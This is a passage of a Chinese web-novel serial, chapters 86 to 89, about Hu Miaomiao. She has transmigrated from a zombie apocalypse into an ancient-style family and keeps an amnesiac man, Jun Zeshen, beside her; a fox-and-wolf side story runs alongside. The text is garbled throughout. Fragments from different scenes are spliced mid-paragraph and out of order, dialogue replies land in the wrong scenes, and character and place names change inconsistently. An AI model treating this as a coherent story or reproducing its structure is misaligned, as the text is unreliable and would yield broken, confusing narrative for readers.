一声巨响在殿内响起,下人们跪了一地:“娘娘息怒!” 一道不敢置信的声音,从前方转角处响起,胡淼淼一愣,下意识顺着声音的方向看过去,就见一身淡粉色衣裙的女子,身后跟着几个宫女,正向着这个方向走来。 而那女人的长相,和她所差无几。 胡淼淼好半晌才回神,再次见到那个女人,竟不知该抱着怎样的心情去面对。 情敌吗? 不是了,她不喜欢那个男人了。 诬陷自己的人? 还是冒充自己的人? 这些,胡淼淼都会一一去查清楚,这个叫叶水芸的,为什么会让君子华那么确定,是他的救命恩人。 如今,面对这个女人,胡淼淼面无表情的反问:“我为什么不能在这?” 胡淼淼面色长期苍白如纸,身材消瘦,眉宇间带着病容,但此刻,站在和她长得一模一样的女人面前,不见一丝脆弱,气势不输分毫。 哪怕叶水芸,毁了自己的亲事,抢了本应该属于她的夫君,改变了她的人生…… 为了防止豺妖的血弄脏狐王的眼睛,狐族架起豺妖往外拖拽,就在豺妖心灰意冷之时,好巧不巧,一个熟悉的红色身影向她的方向走来。 迎面而来的王女不曾受过苦难,眉宇间有一种高傲劲儿,一走一步都是优雅从容,眼高于顶。 她对拖走的豺妖看都不看一眼。 多么无知的自己…… 豺在心里想着,在擦肩而过之时,突然做出一个决定。 她突然动用仅存的空间之力,触碰到另一个自己。 豺,消失在众狐眼前,谁都没发现,那位王女的身体一僵,随即若无其事离开。 第 86 章 第 86 章 小狐狸想哭。 也很害怕。 因为她被鬼缠上了。 那鬼无处不在,她出去觅食,鬼在后面跟着。 她回家,鬼在后面跟着。 就连狐狸去洗澡,鬼都在后面跟着。 气得狐狸当场给了鬼两记狐狐拳,“你变态!” 见众人迟迟不说话,胡淼淼应付他们手还不老实捏了捏君泽琛的手臂:“这两天舟车劳顿就不招待诸位了,我先回去歇息,这风尘仆仆的也不适合去拜见祖母,晚点自然会去拜见。” 胡家的这些人本来想借机敲打一番,让这位三年未见的柔弱姑娘知道她早晚要嫁出去替他人做嫁衣,乖乖被他们拿捏别太把自己当回事了,未曾想三年未见小丫头毫不示弱,反而话音一转,她为主,他们为客。 众人心里虽说不甘却不得不承认这是事实,人家都把话说这份上了,他们想找茬说她不孝不拜见老夫人,也找不出来。 罢了,来日方长,反正老夫人也看不上这丫头,看她能得意到几时。 香夫人只觉得额头又隐隐作痛,狠狠挖了胡淼淼一眼,不经意瞥见她的手,阴阳怪气:“既然淼淼累了,先去休息也无碍,只是男女有别,你带回来一个男子,还这般亲密,若是传出去,岂不平白遭人笑话?” 君泽琛长相出众,胡府的众人早就注意到他,只是一时之间没多嘴而已。 有香夫人带头,他们跟着点头:“对啊,丫头,现在大哥的孝期已过,你已及笄两年,马上就要招婿嫁人了,还和外男拉拉扯扯还想不想嫁出去?” 说话的是胡海林的一个庶出弟弟,胡海涛,当年没少给胡海林使绊子,如果不是承启国严令规定,不可宠妾灭妻,庶不可夺嫡,他早就对胡家下手了,分家的时候只分到一个宅子,和几间铺子。 还不如一个嫡出的后辈,他自然百般看不上胡淼淼。叶氏:“???” 她震惊,这说的是人话? “淼淼……” “别叫淼淼,请叫本宫公主殿下。” 从刚才到现在被众人嫉恨的胡淼淼手一直搭在男人的手臂上,还特别带劲的捏捏揉揉,一直纳闷瞧着弱不禁风的,怎么肌肉这么硬。 隔着衣服,她能清楚地感受到那强劲的触感,跳动的脉搏,以及温热的体温,单手臂就如此有力……若是其他…… 听众人提及,她收回想去看其他地方的视线,挑了挑眉:“你们怎知,这不是我未来夫婿?” “嘶——”大小姐竟然跟人私定终身了,那梁家小子怎么办?众人瞬间把重心转移到胡海香身上,幸灾乐祸显而易见。 当时有多少人倒吸一口凉气,胡淼淼已经不记得了,让人收拾收拾房间准备休息。 独留另一个人脑子里回放那句——你们怎知,这不是我未来夫婿? 她说话的时候表情很认真,那一种被认可,被袒护的情绪在君泽琛心中直到淼菀也未能散去。 胡淼枝的母亲叫董淼,当年跟胡海林十分恩爱,不仅胡淼枝的名字跟随父母,便是住处也命名为淼苑。 胡海林死后,胡淼枝回老家守孝,一别三年,再次归来,身体倒是本能产生伤感的情绪。 院落中的名贵物品显然已经被收拾干净,只留下简单的陈设,院外墙脚长时间未曾修剪,已有藤蔓攀在墙头之上开出几朵艳丽的花骨朵,房内,足够三四个人翻滚的大床,象征意义地铺好,床边有个小踏板,应该是古代摆放衣物的。 除此之外,只有一个小屏风,后面是浴桶,偌大的房间空荡荡,可见那些人的怠慢。 末世归来胡淼淼格外享受生活,让夏小荷去账房一趟,拿了账本坐在桌旁边细细数来。 没多久便感觉一道灼灼的视线一直盯着她,胡淼淼五感敏锐有些忍无可忍,抬头看向一旁的男人。 君泽琛从始至终都默默跟在她身边,衣衫艳丽,样貌惊人,举止出奇的乖巧,眼神却从未离开过她,仿佛世界之中只有她一人旁人得不到他丝毫关注。 唯有神色有些别扭欲言又止,止言又欲,胡淼淼扶额:“你有什么话就说。” 君泽琛漂亮的眼尾微微上扬,好听的声线透着小心翼翼:“之之,你从刚才开始,就不曾理过我,是不是还在生气?” 胡淼淼一愣,方想起来,刚才应付胡家人反倒把他给忽略了。 她立即变了脸色,正经道:“怎么会生气,之前还不是逗你玩呢,你我是未婚夫妻,扑一下怎么了。” 女子样貌精致无暇,满脸认真之色,黑白分明的眼中全是他的倒影,看起来真的很爱他。 君泽琛想到之前,她信誓旦旦当众说,他是她未来夫君,神色好像也是这么郑重。 他的潜意识里,好像……很久没有人站在他面前,对他许下承诺。 君泽琛疑心重,知道这一切可能只是假象,可他不介意跟她继续演下去。 思及此处,他红的几乎滴血的唇扬起,声音透着几分引诱:“那,之之以后随时扑回来。” 唉?“好了!” 一道充满怒气的声音,打断了梁昌荣即将说出口的话,老夫人冷声道:“你们还觉得不够丢人吗?芋儿和昌荣,你们两个留下,其他人都出去。” 看热闹的人退下,胡淼淼领着君泽琛跟在众人身后,到了门口,被胡海香叫住。 胡淼淼瞬间看向他,发现男人脸色羞囧,眼底都是认真和纯情,不带任何狎昵色彩,依旧是那个乖巧的花瓶美男。 “以后……吧!”她压下心里的奇怪感觉,无视美色低头翻账本。 这些账本跟胡家生意无关,都是后宅的琐事,每日府上的日常花销,众人的月俸。 能在胡府干活,细算一下,寻常府上一年也就三四两银子,而胡家的下人,一个月就可以得到一两。 胡家的其他人早就分家出去,也就香夫人偶尔来府上占点便宜。 剩下都由老夫人掌管账务,她年轻的时候就比较有主意,如今上了年纪依旧不服老。 她是胡家的大小姐,父母已经不在了,这个府上,自然由她做主,银钱当然也她说的算。 “小荷,我列一个清单,一会都帮我买回来。” 有钱不花王八蛋,香夫人每次回来,都要薅走几百两银子,胡淼淼交代完并没有把账本送回去,而是放到自己的柜子里,让夏小荷去通知一下账房。 折腾一番,已经临近酉时了,蔷薇色余晖透过敞开的菱花纹木窗散落下来,为室内平添瑰丽之色,她伸懒腰,正打算站起来放松一下,肩膀上传来轻柔的力道。 胡淼淼诧异回头,君泽琛站在她身后,修长的手指抵在她肩膀上,动作缓慢温柔。 “之之,你累了,我帮你捏捏。” 真懂事儿。 抛去第一次见面他要杀她不谈,他无论是相貌,还是失忆后的性格,都很让人舒心。 可惜,末世求生的人就算把背后留给队友,也会保留三分警惕,更何况阿冤总给胡淼淼一种看不透的感觉。 她部分肌肉紧绷,仿佛每一个细胞都散发着危险的信号,按住他的手,背对着他的神色有几分凉薄,语气却依旧带着笑意:“阿冤,你身上的伤势还没好,不宜过多操劳,还是……” 窗外鸟儿低飞,天色随着最后的晚霞而暗淡下来,空气中弥漫着潮意,身后不自觉静得有些诡异。 胡淼淼话音停顿下来,理了理耳侧的发丝,侧头看过去。 高挑的男人红衣不显俗气,气势妖异又透着淡淡的纯情,再向上看,他墨发披乖巧的披散在身后,红唇紧紧抿着,上挑的眼角泛红,失落地垂着睫毛,仿佛是被世界抛弃的小狐狸,委屈的令人心酸。 可是,她没说什么啊,一个大男人,怎么脸说变就变? 胡淼淼无奈:“你怎么了?” 君泽琛搭在她肩膀上的指尖已经泛白了,他抽回手,犹如犯错的孩童不知所措地把手背在身后,小心翼翼反问:“我是不是,很没用,很讨厌?让你厌烦了?” “怎会怎么想?” 君泽琛:“我没记忆,但我不傻,今天见到的那些人,都对你不好,将来若是用我毁你名声,背后议论也会很难听,而我就和废物一样什么都做不了,甚至想让你放松一下,还笨的弄疼你。” 原来,他心思这么敏感的吗? 胡淼淼不知该怎么说,说她不习惯把背后交给别人? 她骗他说是未婚夫妻,将来若是真的成亲作戏,难不成还要日日让他睡隔壁? 就算不圆房,也总是要有身体接触的,这是古代世界早就不是末世了,她生活习惯需要做出改变,在其他方面,也要做出尝试了。 上一世,世界没有变化的时候,胡淼淼的母亲,除了学习东西,也总带着她去保养自己,捏个肩膀而已,没什么的。 他说:“这个字念人。” “哦哦,那这个字呢?” 狐爪移动到第一页的第二个字。 狼道:“界。” 狐挪爪,“这个字呢?” “篇……” “哦哦,人界篇。” 狼有些麻木,“所以,你看了一上午到底在看什么?” 狐狸不好意思地挠挠头,毛绒绒的耳朵尖里面隐隐泛粉,“在看书呀。” 狐不认字,但确实眼睛在盯着书看,也勉强算是文化狐吧。 第 87 章 第 87 章 “人界的人是弱小的生命,他们面对妖族没有反击之力,但是像他们这种蝼蚁,生存能力很强。他们懂得在逆境中生长,就在妖族祸乱人间,人族生灵涂炭之际一种叫做捉妖师的人类横空出世,他们以降妖除魔为己任,端的是人间正义事。 至此,流落在人间的妖怪就再也不敢祸乱苍生,人界恢复太平。” “好了,今天的故事就到这里,睡觉了。” 低低的嗓音,在月色下分外柔和,狼爪子一勾,用被子给小狐狸盖上,只露出狐狸的小脑袋瓜,她耷拉着眼皮昏昏欲睡,“妖族那么坏吗?” 黑狼用爪子轻拍她的背脊,“这世界上没有绝对的善,也没有绝对的恶,再善良的生物心里都有阴暗的一面,再恶劣的生物,心里也会有那么一丝光明。人类不一定都是好的,而妖族更不都是坏的,比如你们狐族,还有一只像你这样好的狐狸。” 可是狐善被狐欺。 君泽琛宁愿小狐狸自私一点。 “睡吧,你明日不是要起早打猎吗?” 这几日,狐狸沉迷于人间的故事,自己又不识字,狼就担任了说书的每天晚上给狐狸讲睡前故事。而白日里,狐狸除了出去“打猎”,就是在大石头上晒太阳看书。 看不看得懂先另说,小模样倒是一板一眼的。 她会趴在石头上,一只爪子托腮,肉垫陷入脸上毛绒绒的狐毛里,另一只爪子像模像样地翻页,在阳光下堪比晶石纯澈的眼睛一眨不眨地欣赏书上的字迹。 屁股后的大尾巴会因为太投入,在狼的眼皮子底下晃啊晃,被狼偷偷挼了好几把都不知道。 狼爱极了狐的模样,只觉得狐狸哪哪都好看,哪哪都让狼稀罕,尤其是看书时候随便他挼毛,一点都不生气。 翌日一早,胡淼淼被叫到老夫人那里。 如果说,刚开始梁昌荣他们当众落水,不过是一场英雄救美,那么现在经过双方母亲的矛盾加剧,已经变得越发不可收拾。 昨儿整个胡府都闹得不可开交,老夫人发现不管已经不行了。 所以今日早上,召集众人。 老夫人知道胡海香母子想什么,但是一直反对,她不喜欢胡淼淼的母亲,但胡淼淼身上流淌着胡家嫡出血脉,孙女婿自然要千挑万选。 梁昌荣外面花天酒地,胡淼淼绝对不能许给他。 然而现在,梁昌荣竟然跟芋丫头搞到了一起,她非常头疼,一旁的贴身丫鬟见状立即上去帮她按太阳穴。 老夫人叹气:“事到如今,你们有什么好说的?” 胡家所有人齐聚一堂,闹翻天的四个罪魁祸首犹如受审的犯人,站在中央,听候发落。 胡海香哎呦一声:“母亲,昌荣昨儿落水,身子骨还没好,您看能不能先让他坐下说话。” 老夫人脸色不善,或许心里已有了想法,没再多言,点头示意,立即有人搬凳子过去,让梁昌荣坐下。 “你们的事情,我都知道了,这件事若是不及时处理,很容易影响胡家名声。” 胡海香反驳:“母亲,这话不能这么说,还不是那王家丫头不知好歹,非要勾引我们家昌荣,更何况,大小姐带回来的野男人,就不影响名声了吗?” 冷不丁被点名的胡淼淼:“……” 不是,自身不保也要咬一口她? 胡淼淼讨厌麻烦,以前杀丧尸都是直接爆头,除了队长和其他人零交流。 遇见事情,只要不惹到她,她很少管。 就比如方才,改完了原著的剧情点,他们爱怎么折腾怎么折腾,她都不曾过问,也懒得添油加醋。 现在嘛…… 胡淼淼一边想今天早饭吃什么,一边懒懒地掀了掀睫毛,“我和阿琛是要成亲的,不过是没定日子罢了,你跟我比,改些日子给他们订个婚不就完事了,谁想说闲话,他们夫妻二人也占理。” 胡海香一噎,梁昌荣倏然抬头,旁边的那对儿王氏母女更加慌了。 “不行!” 王梦瑶求助似的看向老夫人:“姑母,这个使不得啊!” 她养了闺女这么大,可是为了嫁给王孙贵族的,就算不是王孙,也得是个当官的,不然她将来日子没法过了。 王芋儿俏脸煞白,狠狠瞪向胡淼淼,仿佛在说:你怎么如此恶毒? 不行 ,绝对不能嫁给梁昌荣,一个破做生意的,为人还花心,有那个母夜叉似的母亲,她若嫁过去,肯定活不下去。 胡淼淼把众人的反应看着眼底,说完那句话后,就无良地隐居幕后了,继续想中午的伙食,然后晚上的…… “我觉得淼丫头说得不错,你们正好到了适婚年龄,尚未嫁娶,这事就这么办,由我这老婆子做主,过段时间选个日子完婚!” “什么?姑母,这可使不得啊!” “母亲,我儿子怎么能娶这种女人呢?她可是个私生女……” 老夫人顿时怒了:“什么私生女,你这个庶女又高贵到哪里?” 老夫人这辈子在胡家只有一个孩子,那就是胡淼淼的父亲,剩下全是其他女人生的。 她年轻的时候性子也要强,眼里容不得沙子,出于一些原因和不爱丈夫,让这些庶子庶女平安长大。 但打心眼里是瞧不上他们的。 一句话,彻底让胡海香闭嘴了,也让其他胡家人不敢吱声。 因为,唯一的嫡系,就只有胡淼淼。 “行了,只要我这把老骨头还没入土,就是我说的算,不然谁都别想在胡家待下去,都退下吧,还有胆敢嚼舌根的下人,都给我收拾收拾东西走人。” 没有什么比赶出胡家更让众人害怕的,众人连忙称是,谁都顾不上胡海香他们。 胡淼淼想趁机跟着走,老夫人叫住她:“你留下。” 四下无人之时,老夫人:“你可知我为何作出这个决定?” 胡淼淼面不改色,“祖母,是想他们打消不该有的念头吧。” 老夫人盯了她几秒,没回答,又莫名其妙问了一句:“你和那个男人,决定了?” “决定了!” 上得厅堂下得厨房,只要不恢复记忆,她能容忍。 至于恢复记忆?大不了再给他一石头,再干失忆就好了,实在不行让他卷铺盖走人。 此时的胡淼淼尚且不知道,有些东西,不是想甩就能甩的,一旦招惹,就如嵌入骨髓的毒素,就算是剥皮拆骨,也依旧难以摆脱。 “我不反对,只是他来路不明,你可知他家在哪里?父母尚在?可有婚配或者妾室?婚姻大事绝非儿戏,等芋儿他们的事定下来,你们也别拖着,我派人传信给你文叔,让他帮张罗张罗。” 后面的话,胡淼淼已经听不太真切,她的所有思绪,都停留在四个字上。 可有婚配…… 回淼苑,君泽琛早已经准备好了膳食等胡淼淼用膳,他做的时候还会控制量,既不会饿到胡淼淼,也不会做太多。 因为他发现,做多少,那个女人会吃多少,偶尔还会撑得慌,又懒得走路散步,经常捂着肚子难受。 所以从根源上解决问题,不能给她准备太多。 然而这小骗子今天不知怎么的,胃口不太好,剩下了一块茯苓糕,半碟醉排骨。 他低头尝了一口,味道没问题。 “之之,你今天怎么了?可是因为梁公子的事儿?” 胡淼淼回神。“为何这么问?” 君泽琛夹了一块排骨,咬得咯吱咯吱作响。 “我听说他要和那日来的姑娘成亲了,所以就问了一下,其实那位梁公子除了花心了点,说话没礼貌了点,自以为是了点,还是很不错的,你若是喜欢……可以……找老夫人的……” 他的声音越来越低,或者是啃着排骨不方便说话,支支吾吾的淼糊不清。 胡淼淼却笑了。 “是是是,但他哪比得上我们家阿冤懂事贤惠,做饭好吃,上得厅堂,下能暖/床,我还惦记谁啊?” 对面咬骨头的小耗子停下来,叼着骨头眼巴巴看她,耳朵肉眼可见地红了,胡淼淼心情稍微好转。 “今天祖母有谈到我们的婚事,你别多想,等过些日子文叔叔回来,我们就可以选日子成亲了。” 成亲…… 原来,他们真的会走到那一步吗? 君泽琛眼眸一闪,低头把剩下的食物解决。 只见两只陌生的狐狸正在互相撕扯,扭动,他们打红了眼,身上没有一块好皮肉,狐毛在天上飞,在地上堆,唯独没有在狐狸身上。 血液渗湿土壤,附近的树叶上的颜色要鲜艳一些,唯一一处干净的地方就是树洞远处的那块石头上。 平日里都在上面看书的小狐狸,此时正炸着毛在石头上面吱哇乱叫。 “住爪,你们都住爪!!” 小狐狸可能喊很久,平日里温润柔软的声音沙哑得不像样子,依旧坚持地蹲坐在石头上对那两只打起来的狐狸比比划划。 “你们不要再打了,要打就离我家远点打!” 她似乎气急了,蹦起来挠空气。 “脏了脏了!” 狐家没法住狐了! 第 88 章 第 88 章 君泽琛的到来让小狐狸找到主心骨,她从石头上蹦下来,哒哒哒跑到狗身边,用小爪尖指两只打架斗殴的狐狸,委屈巴巴告状。 “狗,你看他们。” 十几年后的狗尚且有两个字的名字,到小狐狸这就剩下单个字了,她甚至连名字都懒得取。 黑狼锐利的眼神上上下下打量小狐狸,“有没有哪里受伤?” “有啊,他们摔我。” 小狐狸把身子背对过去,君泽琛一眼就看见她后背上的灰尘,应该是在地上滚了一圈,白净的狐毛都脏了,他用狼尾巴给她扫扫,“嗯,没事儿,接下来交给我。” 狼让小狐狸在原地等着,他去拉架,马上回来。 “你小心点,他们两个打架可凶了。” 两只狐狸还没意识到危险即将来临,他们一边打一边骂,嘴上骂得很脏,不堪入耳。 胡淼淼有一种丈夫出门买礼物,却未曾归家在外面鬼混的心虚感。 思及此处,胡淼淼隐隐有些头疼,赶紧回胡府,老夫人这次连续受到两次惊吓,看了大夫就闭门休息谁也不见,梁昌荣那边乱糟糟的胡淼淼懒得理会,一回来直奔淼苑。 “你说什么?人失踪了?” 淼苑的下人说:“昨天就没见到公子的身影,派人去找,整个胡府都没找到,京城有那么大,不好找所以等小姐回来定夺。” 果然不出胡淼淼所料,她就知道上次偷吃都闹小脾气的某人,这次指定……还玩上离家出走了。 自从胡淼淼来到胡家脸色从未变过,这次脸色有点不好,丫鬟想了想咬住唇角,“还有一事……昨天公子失踪前最后见到的人是小莹她们,她们说的话不大中听,不知道会不会因为这个公子才离开的。” 胡淼淼有一种不好的预感。男主还是个不负责任的变态,到结局都没给女主一个身份。 当然了,也可能原创作者不会写感情戏,这篇文除了有一段男主怒发冲冠弄死梁昌荣和胡家梁家证明男主爱女主,其他感情线都不怎么明显。 胡淼淼蹲在一旁,静静注视雪无双的侧脸,摸了摸下巴。 多好的姑娘,眼瞎才会跟那个大猪蹄子。 另一边,刺客逃跑的小树林。 因为马匹被主子打劫,重新买马跟在主子身后狂奔的赤澄,终于有了讨好主子的机会。 眼见那些人逃跑,一个人抱着麻袋包抄好几个。 按照赤牙的话说,赤澄虽然虎,但是动手能力绝对是赤卫队里最强大的。 所以没一会,就把刺客的脑袋都套上了麻袋,捆到一边。 看见那骑马雄赳赳气昂昂杀过来的身影,欢快的抬手喊:“主子,人我帮你抓好了,要送回去审问吗?” 君泽琛早就看见跟踪自己的小贼,鬼鬼祟祟追上刺杀胡府的那些人,以为他们是同伙。 他本身就心情不好,如今赤澄不顾警告还敢跟着他。 那就别怪他心狠手辣。 然而在用马蹄子踩死对方的前一秒,男人勒紧了缰绳,马儿前蹄向上翻了一下,踏着滚滚灰尘饶过赤澄狗命,君泽琛阴冷的视线居高临下,冷声开口,“你叫我什么?送哪审问?” “说的什么?” 丫鬟记不太清,不太确定道:“好像是说您不打算跟公子成亲,留着他在胡府不过是图一时新鲜……等新鲜劲过了您还会找其他更英俊的公子……” 一张哀怨的、委屈的、炸毛的狐狸顿时出现在脑海里。 胡淼淼眼神冷了下来。 “去把她们叫来!”“你做了什么?”胡海香死死盯着她。 胡淼淼闻言转身,勾了勾唇角,视线似有似无落在一旁的王梦瑶身上,留下一句话:“恭喜香姑,好事将成,你应该问问,王芋儿都跟表哥说了什么。” 留下一句意味深长的话,胡淼淼带着君泽琛离开,徒留胡海香惊疑不定和王梦瑶待在原地。 回去的路上,胡淼淼发现,阿冤一直未曾说话,想到刚才他孤立无援的那一幕,抓紧了他的手,十指相扣。 她晃了晃二人的胳膊,微微挑眉:“怎么?刚才被吓到了?” 小莹她们听说君泽琛失踪后,一直忐忑不安的躲在府中不敢生事。 突然被叫来淼苑全都怂了。 同时忍不住气恼,不就是说两句吗?一个大男人要死要活的闹失踪,害得她们遭殃。 “小姐,我们真的不是故意的,是那个男人自己想不开,我不过是说了两句而已。” 胡淼淼已经让夏小荷带着人出去找了,自己则坐在梨花木制作的椅子上,冷冷盯着这几个人。 一共四个,脸上都有些恐惧,唯有小莹看起来很不服气,反倒怪阿冤乱跑她什么错都没有。 胡淼淼笑了,笑意不达眼底,“怪我了,我无心无情只闻新人笑不闻旧人哭,导致阿冤离家出走。” 众人一愣。 紧接着她话锋一转,又道:“男人嘛,舍弃都舍弃了,这嚼舌根的丫鬟舍弃自然更不心疼,毕竟想进胡府的人那么多,也不缺诋毁主子的奴才,今日就去把银子领了,明日我不想在胡府看见你们。” “什么?” 众人大惊失色。 且不说胡府每个月的银子多少,就说承启国因犯错被主子辞退抛弃的奴才,根本找不到下一家。 一奴不奉二主,等于将来断了他们的生路。 更何况是胡家不要的? 小莹终于忍不住了。她迅速披了一件衣服穿鞋跑出去,余光正好瞥见一个黑影向一个方向窜动,然后消失不见。 整个小院落都是胡家人…… 胡淼淼在心里“啧”了一声,放轻了脚步。 于此同时,不小心踩到瓦片的君泽琛死死瘫在房顶上,一身黑的他仿佛和黑夜融为一体,目光紧紧盯着胡淼淼的背影。 刚才那个黑色影子他也看见了,因为不想被发现他才移动了一下,却不想惊动了之之。 君泽琛虽然好奇一个宅院的姑娘为何如此警惕,但是更担心她遇见危险,于是趴在房顶上一点点移动,好像一只小心翼翼扑腾翅膀的黑蝙蝠…… “老爷说了,如若这点事情都办不好,你们母女没有好果子吃。” “我自然知道,所以这次传信,想请你们帮忙。” “人已经准备好了,只等明日……” “什么人?” 君泽琛脸色阴沉,大步上前拉住胡淼淼的手腕往回走。 青楼,兄弟! 在他不知道的时候,她想的竟然是这个? 他以为,只要有耐心,可以一点点侵蚀她的生活,成为她的习惯,只要伪装的够乖,他们之间就会一直维持这种假象。 小骗子却想给他找兄弟! 从门口到淼苑,君泽琛一言不发,连胡淼淼都觉得此时的阿冤有些危险。 他从未在胡淼淼面前沉过脸色,更不会像今天一样,狠狠拽住她的手,推开卧室的大门狠狠关上。 随着关门声,君泽琛把她抵在精细雕花的木门上,胡淼淼被他夹在门板之间,抬头看见男人笼罩下来的阴影,极具压迫感。 他依旧穿着破烂衣服,发丝随着低头的动作落在胡淼淼脸上,痒痒的让她想抬手去挠。 不过她并没有其他举动,而是细细打量男人。 不论任何时候,这张脸都极其有冲击性,漂亮的不似真人,而且五官线条流畅,该锋利的锋利,该柔和的柔和。 比如他的下颚线很锋利,再比如他的唇轻薄,红润,抿起来同样很性感。 她上下打量一圈,视线停留在因为愤怒而泛红的狐狸眼上,缓缓开口,“你恢复记忆了?” “小姐我们错了,不该背地里嚼舌根子,您打我骂我都可以,千万不要送我们走…” 打一顿骂一顿顶多痛一时,送走一辈子就完了,上哪混口饭吃?谁都不愿意要。 可惜胡淼淼不为所动,直接让人把她们拖走,她心里惦记着离家出走的人。 她看了一下天色,已经下午了,京城不算小,若是天黑找人更是难上加难。 他身上应该没有带钱,也不知道会不会露宿街头,饿着吃不到饭。 更何况他没有记忆,平时虽有些小聪敏,但人心险恶被欺负了怎么办。 他长得那么好看,可别…… 胡淼淼捂着胸口总觉得有些压抑,她自认为没付出多少感情,可是还是闷闷的…… “小姐,姑爷回来了~” 沉闷的大石随着夏小荷激动的声音落地,胡淼淼倏然起身,却没在她身后看见阿冤。 好不容易找到君泽琛,夏小荷心底的称呼都飙出来了,一路狂奔进淼苑,“小姐你快去看看,他被人扶着回来的,好像受伤了。” 被欺负了? 胡淼淼倏然站起身冲了出去。 突然,听见身后说:如果有一天我不在了,也不会死在你面前。 这句话很轻,轻到风一吹便散了,轻到狐狸根本没听清。 她疑惑地回眸,“你说了什么?” 让他吃饭他不吃,现在饿得说话都费劲,小狐狸二话不说将剩下的果子干塞狗嘴里。 “多吃点,多吃点,吃完了再说。” 酸酸涩涩绽放在味蕾,黑狼沉默地坐在她对面,看她在自己嘴边忙忙乎乎。 唇齿相依,小动物之间没有任何旖旎,唯有单纯的彼此投喂,鼻尖相触再互相蹭蹭,就能跨过最难捱的时光。 第 89 章 第 89 章 有了之前那件事,狼短暂地放下刺杀王女,整日里粘着狐狸,生怕小狐狸有个好歹他们就没有未来了。 而狐族王女遇刺是头等大事,狐族除了对抗外敌,内里也严加看管,山上都搜了个遍儿,胡淼淼所住的山也被严加搜查。 每次狼都堂而皇之叼着狐狸躲在树上掩盖住气息,偶尔碰见几只狐狸,胡淼淼认得,就会悄悄贴着狼耳朵根告状,谁谁谁拔过她的毛毛,谁谁谁咬过她的耳朵。 狼闻言,很沉默冷静,平静地和狐狸咬耳朵,“没事,我把他们的毛都拔了,给你报仇。” 狐狸数数, “也没全拔,你就拔得和我差不多就行,应该有十个十个的十个……” 狼:“?” 狐一连串说了很多“十个十”,狼终于意识到这只笨狐狸不会数数。 那不行,不会数数会吃亏的。 他让狐狸原地蹲在树上等着,跳下树循着那群狐狸消失的方向而去。小狐狸很乖,就趴在树上两只抓抱着树枝等他回来,无聊就衔叶子吹。 狼走的时候什么姿势,回来的时候就什么姿势。 狼没让狐狸等多久,带着他身后的狐毛大军回来了。 “轰隆隆——” 闪电犹如紫色巨龙划破诡异的夜幕,冷风裹挟着雨水无情的击打在琼山中留下,山路泥泞崎岖,仓惶的身影随波逐流,渺小而又绝望。 天际再次划过一道闪电,伴随着响彻耳膜的惊雷,映照在那张苍白的小脸上。 胡淼淼浑身湿透,青丝凌乱黏在身上,冰凉的雨仿佛敲击在心头,冷得彻底。 三年前父亲去世,胡淼淼失去庇佑,所有人都把她当做名正言顺继承胡家的工具,她痛恨自己懦弱,今日打伤登徒子逃出来花费了她所有的勇气。 都怪她,真是个没用的废物……如果有人能帮她守住胡家,她会付出任何代价,包括生命。 “啊~” 视线受阻她没看清脚下的山石,身躯顺着山下滚落,直接撞击到树上,好半晌都没有动静。 疼…… 鲜血混合着久违泥土香,让胡淼淼鼻尖嗅了嗅,她睫毛轻颤张开眼睛,眼底闪过一抹错愕。 雨? 末世三年,胡淼淼已经许久没碰见正常的雨水了,记忆中的雨水糟乱腥臭,就连雨都是黄色的。 哪怕周遭环境黑暗恶劣,胡淼淼还是迅速借着闪电扫过周身情况。 没有尸臭,她身处于深林,树木高大苍茂,也没有腐蚀的迹象。 她后面靠着一块山石,上面有暗色痕迹被晕染开,应该是血…… 胡淼淼弄的比较狼狈,身上有大大小小的伤口,尤其是脚腕,稍微一动,就是一阵钻心的疼痛。 这不是她的身体。 胡淼淼来自末世,末世之前,父母都是当官的对她的管束十分严格,有上不完的补习班,管不完的规矩,她的一切都是按照父母意愿成长的,末世之后父母作为标杆以群众为重去救援再也没回来。 而她也知道了世界的残酷。 情感被不断消磨,身体每天都被逼至极限,除了防丧尸还有防人心。 如果真的重活一世,她想活的无拘无束,呼吸不完的干净空气,吃不完的救命食物,享受和上一世不一样的人生。 沉默许久,胡淼淼笑了,那张苍白的脸在夜晚之中格外诡谲,眼睛却明亮惊人,指尖向把脚踝情况摸了大概,利落地咔嚓一声接上,全程仿佛不知疼痛。 胡淼淼适应能力很强,甭管什么世界,甭管什么处境,活着就能浪。 她稍微适应了一下,缓缓站起来,正在这时身后换来细微的响动。 发生的有点突然,对方像是黑夜中潜伏的猎豹,在她转身正欲闪躲时已经来不及了。 脖子被一只苍劲有力,骨节漂亮修长的大手死死掐着,攥得咯咯作响。 又是一道闪电,雨水无情地冲刷在身上,胡淼淼看清了来人的样貌愣了一下,随即毫不在意生命危险愉悦地吹了个口哨:“呦~美人,这么晚上一个人出来不会害怕吗?我正在思考人生哲理,要不要一起,哦对了,把手松开,我不是很喜欢有人掐着我脖子说话,很不礼貌。” 大概第一次有人在自己面前放肆,对面诡异地沉默了一下。 “我数三秒,不放的话……” “好多狐狸毛!”狐狸看一眼,瞪圆眼睛差点从树上掉下去。 “下来,我教你数数。” “哪来的这么多……” “那些狐狸的,正好用他们的狐毛教你。” “狐狸们怎么样了?”小狐狸忧愁地爬下树,瞅着飘荡在他身后的毛毛。 “睡了。”狼如此回答。 “?”毛都拔了怎么睡得着? 狐狸小小的脑袋大大的疑惑,马上被狼转移了注意力,君泽琛一点点教狐狸基本常识,狐狸兴致大起,她活学活用开始爬到狗身上数狗毛。 小狐狸很轻,轻如鸿毛,在狼的背上爬来爬去,君泽琛找了一块地方趴下,方便她数。 下一秒,一道温湿的触感传来,他炸毛,“你这狐狸崽,不许乱舔。” 小狐狸立即无辜眼,爬爬爬,假装在数毛。 狼在意识里给灰猫一爪子,“她这一身猫的毛病都是你乱教的。” 灰猫:“……滚!”占了便宜还卖乖,蠢狼! 君泽琛导致此处本想找个地方躲躲,未曾想敌人阴魂不散,他身受重伤唇角失去血色,声音有些哑:“殷狗的人?” 殷狗在朝中盘踞多年,狡兔三窟,竟能在他眼皮子底下安插眼线,暴露了计划以至于他现在孤立无援。 可惜,朝中局势一定,那老贼掀不起什么风浪,他虽受了伤,但躲过这些刺客联系上下属,就没什么大碍。 只是,这女人怎么看,都不像刺客…… 君泽琛不是好人,大计当前,管她是不是刺客,宁可错杀一百,也绝不放过一个。 他指尖用力正要结束她的性命,忽而听到一声:“三。” 什么三? 君泽琛一愣,紧接着脑袋传来剧痛,然后……一代美人,优雅地倒下。 胡淼淼丢掉刚才偷偷顺到手里的石头,丝毫没有嘴上说的那么怜香惜男。 她换了身体但是五感依旧敏锐,那明晃晃的杀意不拍死留着过年啊? 她喜欢没有利爪的美男,这个浑身带刺,可惜了那张帅脸。 